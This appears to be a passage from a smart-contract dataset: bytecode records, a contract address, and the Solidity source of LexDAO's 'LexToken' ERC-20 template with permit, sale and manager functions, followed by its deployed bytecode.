16611105565b341561066457600080fd5b6102d7600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061116995505050505050565b60078054829081106106b657fe5b600091825260209091200154600160a060020a0316905081565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107665780601f1061073b57610100808354040283529160200191610766565b820191906000526020600020905b81548152906001019060200180831161074957829003601f168201915b505050505081565b60003383600b544210158061079e5750600c5474010000000000000000000000000000000000000000900460ff16155b806107e65750600160a060020a0382166000908152600a602052604090205460ff161580156107e65750600160a060020a0381166000908152600a602052604090205460ff16155b15156107f157600080fd5b6107fb858561118d565b95945050505050565b60035481565b600c5433600160a060020a0390811691161461082557600080fd5b600c805474ff000000000000000000000000000000000000000019169055565b635afc396081565b60095460ff1681565b60008383600b54421015806108865750600c5474010000000000000000000000000000000000000000900460ff16155b806108ce5750600160a060020a0382166000908152600a602052604090205460ff161580156108ce5750600160a060020a0381166000908152600a602052604090205460ff16155b15156108d957600080fd5b6108e48686866111f9565b9695505050505050565b60046020526000908152604090205481565b600a6020526000908152604090205460ff1681565b60025460ff1681565b600c54600160a060020a031681565b600954610100900460ff1681565b600654600160a060020a031681565b600560209081526000928352604080842090915290825290205481565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054808311156109c457600160a060020a0333811660009081526005602090815260408083209388168352929052908120556109f5565b6109ce81846112b4565b600160a060020a033381166000908152600560209081526040808320938916835292905220555b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6301e1338081565b600160a060020a031660009081526004602052604090205490565b600c5433600160a060020a03908116911614610a9957600080fd5b600160a060020a03166000908152600a60205260409020805460ff19169055565b600160a060020a03331660009081526008602052604090205460ff161515600114610ae457600080fd5b600954610100900460ff1615610af957600080fd5b610b05600354826112c6565b600355600160a060020a038216600090815260046020526040902054610b2b90826112c6565b600160a060020a0383166000818152600460205260409081902092909255907fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c169083905190815260200160405180910390a2600160a060020a03821660006000805160206117f98339815191528360405190815260200160405180910390a35050565b600b5481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107665780601f1061073b57610100808354040283529160200191610766565b610c27611741565b6007805480602002602001604051908101604052809291908181526020018280548015610c7d57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c5f575b505050505090505b90565b600160a060020a03331660009081526008602052604090205460ff1680610cc0575081600160a060020a031633600160a060020a0316145b1515610ccb57600080fd5b600160a060020a03821660009081526004602052604090205481901015610cf157600080fd5b610cfd600354826112b4565b600355600160a060020a038216600090815260046020526040902054610d2390826112b4565b600160a060020a03831660008181526004602052604080822093909355916000805160206117f98339815191529084905190815260200160405180910390a381600160a060020a03167f81325e2a6c442af9d36e4ee9697f38d5f4bf0837ade0f6c411c6a40af7c057ee8260405190815260200160405180910390a25050565b60003383600b5442101580610dd35750600c5474010000000000000000000000000000000000000000900460ff16155b80610e1b5750600160a060020a0382166000908152600a602052604090205460ff16158015610e1b5750600160a060020a0381166000908152600a602052604090205460ff16155b1515610e2657600080fd5b6107fb85856112dc565b600160a060020a03331660009081526008602052604090205460ff161515600114610e5a57600080fd5b600160a060020a03811615610e9d576009805475ffffffffffffffffffffffffffffffffffffffff0000191662010000600160a060020a03841602179055610ebd565b6009805475ffffffffffffffffffffffffffffffffffffffff0000191690555b50565b600c5433600160a060020a03908116911614610edb57600080fd5b6009805460ff191660011790557feadb24812ab3c9a55c774958184293ebdb6c7f6a2dbab11f397d80c86feb65d360405160405180910390a1565b600160a060020a03331660009081526008602052604081205460ff161515600114610f4057600080fd5b6009805461ff0019166101001790557f29fe76cc5ca143e91eadf7242fda487fcef09318c1237900f958abe1e2c5beff60405160405180910390a150600190565b600954620100009004600160a060020a031681565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054610fc890836112c6565b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600c5474010000000000000000000000000000000000000000900460ff1681565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600160a060020a03331660009081526008602052604090205460ff1615156001146110aa57600080fd5b6009805460ff19168215151790557fbac956a1816a25b65e25a2449379c8409891b96663ce5f0b3475c196ec4bfa0f81604051901515815260200160405180910390a150565b60086020526000908152604090205460ff1681565b600c5433600160a060020a039081169116148061113a5750600160a060020a03331660009081526008602052604090205460ff165b151561114557600080fd5b600160a060020a03166000908152600a60205260409020805460ff19166001179055565b60065433600160a060020a0390811691161461118457600080fd5b610ebd81611395565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600954600090819060ff16151561120f57600080fd5b61121a8585856114de565b905061122461163a565b801561122d5750805b156112ac57600954620100009004600160a060020a031663677ba3d386868660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561129b57600080fd5b5af115156112a857600080fd5b5050505b949350505050565b6000818310156112c057fe5b50900390565b6000828201838110156112d557fe5b9392505050565b600954600090819060ff1615156112f257600080fd5b6112fc8484611663565b905061130661163a565b801561130f5750805b156112d557600954620100009004600160a060020a031663677ba3d333868660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561137d57600080fd5b5af1151561138a57600080fd5b509195945050505050565b6000805b6007548210156113f8576000600860006007858154811015156113b857fe5b600091825260208083209190910154600160a060020a031683528201929092526040019020805460ff191691151591909117905560019190910190611399565b5060005b82518110156114515760016008600085848151811061141757fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016113fc565b6007838051611464929160200190611753565b507f9465cd279c2de393c5568ae444599e3644e3d1864ca2c05ced8a654df2aea3cb8360405160208082528190810183818151815260200191508051906020019060200280838360005b838110156114c65780820151838201526020016114ae565b505050509050019250505060405180910390a1505050565b6000600160a060020a03831615156114f557600080fd5b600160a060020a0384166000908152600460205260409020548290108015906115455750600160a060020a0380851660009081526005602090815260408083203390941683529290522054829010155b151561155057600080fd5b600160a060020a03831660009081526004602052604090205461157390836112c6565b600160a060020a0380851660009081526004602052604080822093909355908616815220546115a290836112b4565b600160a060020a03808616600090815260046020908152604080832094909455600581528382203390931682529190915220546115df90836112b4565b600160a060020a03808616600081815260056020908152604080832033861684529091529081902093909355908516916000805160206117f98339815191529085905190815260200160405180910390a35060019392505050565b600954600090620100009004600160a060020a0316151561165d57506000610c85565b50600190565b6000600160a060020a038316151561167a57600080fd5b600160a060020a033316600090815260046020526040902054829010156116a057600080fd5b600160a060020a0333166000908152600460205260409020546116c390836112b4565b600160a060020a0333811660009081526004602052604080822093909355908516815220546116f290836112c6565b600160a060020a0380851660008181526004602052604090819020939093559133909116906000805160206117f98339815191529085905190815260200160405180910390a350600192915050565b60206040519081016040526000815290565b8280548282559060005260206000209081019282156117b7579160200282015b828111156117b7578251825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617825560209290920191600190910190611773565b506117c39291506117c7565b5090565b610c8591905b808211156117c357805473ffffffffffffffffffffffffffffffffffffffff191681556001016117cd5600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582050e6734d2e5bb8a18d6b1b029eb056a7d79606d1696897d0ed77f44ce8a8ce600029
{"success": true, "error": null, "results": {}}
9,540
0x9cc6beff59977fab7cdc77e4e899b313222c0053
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string[]public offers; // offers made for token redemption - updateable by manager string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event AddOffer(uint256 index, string terms); event AmendOffer(uint256 index, string terms); event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function purchase() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function addOffer(string calldata offer) external onlyManager { offers.push(offer); emit AddOffer(offers.length, offer); } function amendOffer(uint256 index, string calldata offer) external onlyManager { offers[index] = offer; emit AmendOffer(index, offer); } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } }
0x6080604052600436106102135760003560e01c806355b6ed5c116101185780637ecebe00116100a0578063a457c2d71161006f578063a457c2d714610ceb578063a9059cbb14610d24578063bb102aea14610d5d578063d505accf14610d72578063e3537d6814610dd05761030f565b80637ecebe0014610c645780638a72ea6a14610c9757806392ff0d3114610cc157806395d89b4114610cd65761030f565b806364edfbf0116100e757806364edfbf0146109cf57806370a08231146109d757806379cc679014610a0a5780637a0c21ee14610a435780637c88e3d914610b995761030f565b806355b6ed5c14610913578063565974d31461094e57806361d3458f1461096357806364629ff71461098f5761030f565b80633644e5151161019b57806340c10f191161016a57806340c10f19146107ef57806342966c6814610828578063466ccac014610852578063481c6a75146108675780634f0371e9146108985761030f565b80633644e515146106c157806339509351146106d65780633b3e672f1461070f57806340557cf1146107da5761030f565b806321af8235116101e257806321af82351461053157806323b872dd146105bc57806324b76fd5146105ff57806330adf81f14610681578063313ce567146106965761030f565b806306fdde0314610314578063095ea7b31461039e57806318160ddd146103eb5780631d809a79146104125761030f565b3661030f5760095460ff1661025a576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d80600081146102a7576040519150601f19603f3d011682016040523d82523d6000602084013e6102ac565b606091505b50509050806102ed576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b61030c303361030760015434610e5290919063ffffffff16565b610e82565b50005b600080fd5b34801561032057600080fd5b50610329610f30565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561036357818101518382015260200161034b565b50505050905090810190601f1680156103905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103aa57600080fd5b506103d7600480360360408110156103c157600080fd5b506001600160a01b038135169060200135610fbe565b604080519115158252519081900360200190f35b3480156103f757600080fd5b50610400610fd4565b60408051918252519081900360200190f35b34801561041e57600080fd5b5061052f6004803603608081101561043557600080fd5b810190602081018135600160201b81111561044f57600080fd5b82018360208201111561046157600080fd5b803590602001918460208302840111600160201b8311171561048257600080fd5b919390929091602081019035600160201b81111561049f57600080fd5b8201836020820111156104b157600080fd5b803590602001918460208302840111600160201b831117156104d257600080fd5b919390929091602081019035600160201b8111156104ef57600080fd5b82018360208201111561050157600080fd5b803590602001918460208302840111600160201b8311171561052257600080fd5b9193509150351515610fda565b005b34801561053d57600080fd5b5061052f6004803603604081101561055457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057e57600080fd5b82018360208201111561059057600080fd5b803590602001918460018302840111600160201b831117156105b157600080fd5b50909250905061120e565b3480156105c857600080fd5b506103d7600480360360608110156105df57600080fd5b506001600160a01b038135811691602081013590911690604001356112ef565b34801561060b57600080fd5b5061052f6004803603604081101561062257600080fd5b81359190810190604081016020820135600160201b81111561064357600080fd5b82018360208201111561065557600080fd5b803590602001918460018302840111600160201b8311171561067657600080fd5b50909250905061138e565b34801561068d57600080fd5b506104006113fd565b3480156106a257600080fd5b506106ab611421565b6040805160ff9092168252519081900360200190f35b3480156106cd57600080fd5b50610400611431565b3480156106e257600080fd5b506103d7600480360360408110156106f957600080fd5b506001600160a01b038135169060200135611437565b34801561071b57600080fd5b5061052f6004803603604081101561073257600080fd5b810190602081018135600160201b81111561074c57600080fd5b82018360208201111561075e57600080fd5b803590602001918460208302840111600160201b8311171561077f57600080fd5b919390929091602081019035600160201b81111561079c57600080fd5b8201836020820111156107ae57600080fd5b803590602001918460208302840111600160201b831117156107cf57600080fd5b50909250905061146d565b3480156107e657600080fd5b5061040061154c565b3480156107fb57600080fd5b5061052f6004803603604081101561081257600080fd5b506001600160a01b038135169060200135611552565b34801561083457600080fd5b5061052f6004803603602081101561084b57600080fd5b50356115aa565b34801561085e57600080fd5b506103d76115b7565b34801561087357600080fd5b5061087c6115c0565b604080516001600160a01b039092168252519081900360200190f35b3480156108a457600080fd5b5061052f600480360360208110156108bb57600080fd5b810190602081018135600160201b8111156108d557600080fd5b8201836020820111156108e757600080fd5b803590602001918460018302840111600160201b8311171561090857600080fd5b5090925090506115cf565b34801561091f57600080fd5b506104006004803603604081101561093657600080fd5b506001600160a01b03813581169160200135166116c5565b34801561095a57600080fd5b506103296116e2565b34801561096f57600080fd5b5061052f6004803603602081101561098657600080fd5b5035151561173d565b34801561099b57600080fd5b5061052f600480360360808110156109b257600080fd5b5080359060208101359060408101351515906060013515156117d8565b61052f611907565b3480156109e357600080fd5b50610400600480360360208110156109fa57600080fd5b50356001600160a01b03166119f6565b348015610a1657600080fd5b5061052f60048036036040811015610a2d57600080fd5b506001600160a01b038135169060200135611a08565b348015610a4f57600080fd5b5061052f6004803603610160811015610a6757600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610ab157600080fd5b820183602082011115610ac357600080fd5b803590602001918460018302840111600160201b83111715610ae457600080fd5b919390929091602081019035600160201b811115610b0157600080fd5b820183602082011115610b1357600080fd5b803590602001918460018302840111600160201b83111715610b3457600080fd5b919390929091602081019035600160201b811115610b5157600080fd5b820183602082011115610b6357600080fd5b803590602001918460018302840111600160201b83111715610b8457600080fd5b91935091508035151590602001351515611a47565b348015610ba557600080fd5b5061052f60048036036040811015610bbc57600080fd5b810190602081018135600160201b811115610bd657600080fd5b820183602082011115610be857600080fd5b803590602001918460208302840111600160201b83111715610c0957600080fd5b919390929091602081019035600160201b811115610c2657600080fd5b820183602082011115610c3857600080fd5b803590602001918460208302840111600160201b83111715610c5957600080fd5b509092509050611cb4565b348015610c7057600080fd5b5061040060048036036020811015610c8757600080fd5b50356001600160a01b0316611d88565b348015610ca357600080fd5b5061032960048036036020811015610cba57600080fd5b5035611d9a565b348015610ccd57600080fd5b506103d7611e10565b348015610ce257600080fd5b50610329611e1f565b348015610cf757600080fd5b506103d760048036036040811015610d0e57600080fd5b506001600160a01b038135169060200135611e7a565b348015610d3057600080fd5b506103d760048036036040811015610d4757600080fd5b506001600160a01b038135169060200135611eb0565b348015610d6957600080fd5b50610400611f0b565b348015610d7e57600080fd5b5061052f600480360360e0811015610d9557600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611f11565b348015610ddc57600080fd5b5061052f60048036036040811015610df357600080fd5b81359190810190604081016020820135600160201b811115610e1457600080fd5b820183602082011115610e2657600080fd5b803590602001918460018302840111600160201b83111715610e4757600080fd5b5090925090506120f5565b600082610e6157506000610e7c565b82820282848281610e6e57fe5b0414610e7957600080fd5b90505b92915050565b6001600160a01b0383166000908152600b6020526040902054610ea590826121d3565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054610ed490826121e8565b6001600160a01b038084166000818152600b602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b820191906000526020600020905b815481529060010190602001808311610f9957829003601f168201915b505050505081565b6000610fcb3384846121fa565b50600192915050565b60025481565b6000546001600160a01b03163314611024576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b858414801561103257508582145b611083576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b8681101561120457600084848381811061109c57fe5b9050602002013590508215611142578888838181106110b757fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561111357600080fd5b505afa158015611127573d6000803e3d6000fd5b505050506040513d602081101561113d57600080fd5b505190505b88888381811061114e57fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061117857fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156111cf57600080fd5b505af11580156111e3573d6000803e3d6000fd5b505050506040513d60208110156111f957600080fd5b505050600101611086565b5050505050505050565b6000546001600160a01b03163314611258576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561127f600583836123ca565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60095460009062010000900460ff1661133f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a602090815260408083203380855292529091205461137991869161137490866121d3565b6121fa565b611384848484610e82565b5060019392505050565b611398338461225c565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fcb91859061137490866121e8565b8281146114ad576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60095462010000900460ff166114fa576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156115455761153d3386868481811061151557fe5b905060200201356001600160a01b031685858581811061153157fe5b90506020020135610e82565b6001016114fd565b5050505050565b60015481565b6000546001600160a01b0316331461159c576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6115a682826122ed565b5050565b6115b4338261225c565b50565b60095460ff1681565b6000546001600160a01b031681565b6000546001600160a01b03163314611619576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60078054600181018255600091909152611656907fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880183836123ca565b5060075460408051828152602081018281529181018490527fbc51c630f8cb647f3f7b7f755e8a9a267b836d659ef4fd39444767b2e99f8eb892918591859160608201848480828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b600a60209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b6000546001600160a01b03163314611787576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6009805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b03163314611822576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556009805460ff191682151517905582158015906118415750815b1561185057611850308461225c565b60008311801561185e575081155b1561186d5761186d30846122ed565b80156118b857600084116118b8576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b60095460ff16611949576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114611996576040519150601f19603f3d011682016040523d82523d6000602084013e61199b565b606091505b50509050806119dc576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6115b4303361030760015434610e5290919063ffffffff16565b600b6020526000908152604090205481565b6001600160a01b0382166000908152600a6020908152604080832033808552925290912054611a3d91849161137490856121d3565b6115a6828261225c565b600954610100900460ff1615611a92576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a60018190555088600381905550878760059190611af29291906123ca565b50611aff600687876123ca565b50611b0c600885856123ca565b506009805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b15611b4557611b458e8d6122ed565b8915611b5557611b55308b6122ed565b8115611ba05760008b11611ba0576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60066040518082805460018160011615610100020316600290048015611c235780601f10611c01576101008083540402835291820191611c23565b820191906000526020600020905b815481529060010190602001808311611c0f575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611cfe576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611d3e576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b8381101561154557611d80858583818110611d5857fe5b905060200201356001600160a01b0316848484818110611d7457fe5b905060200201356122ed565b600101611d41565b600c6020526000908152604090205481565b60078181548110611daa57600080fd5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815293509091830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b60095462010000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fcb91859061137490866121d3565b60095460009062010000900460ff16611f00576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610fcb338484610e82565b60035481565b84421115611f50576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b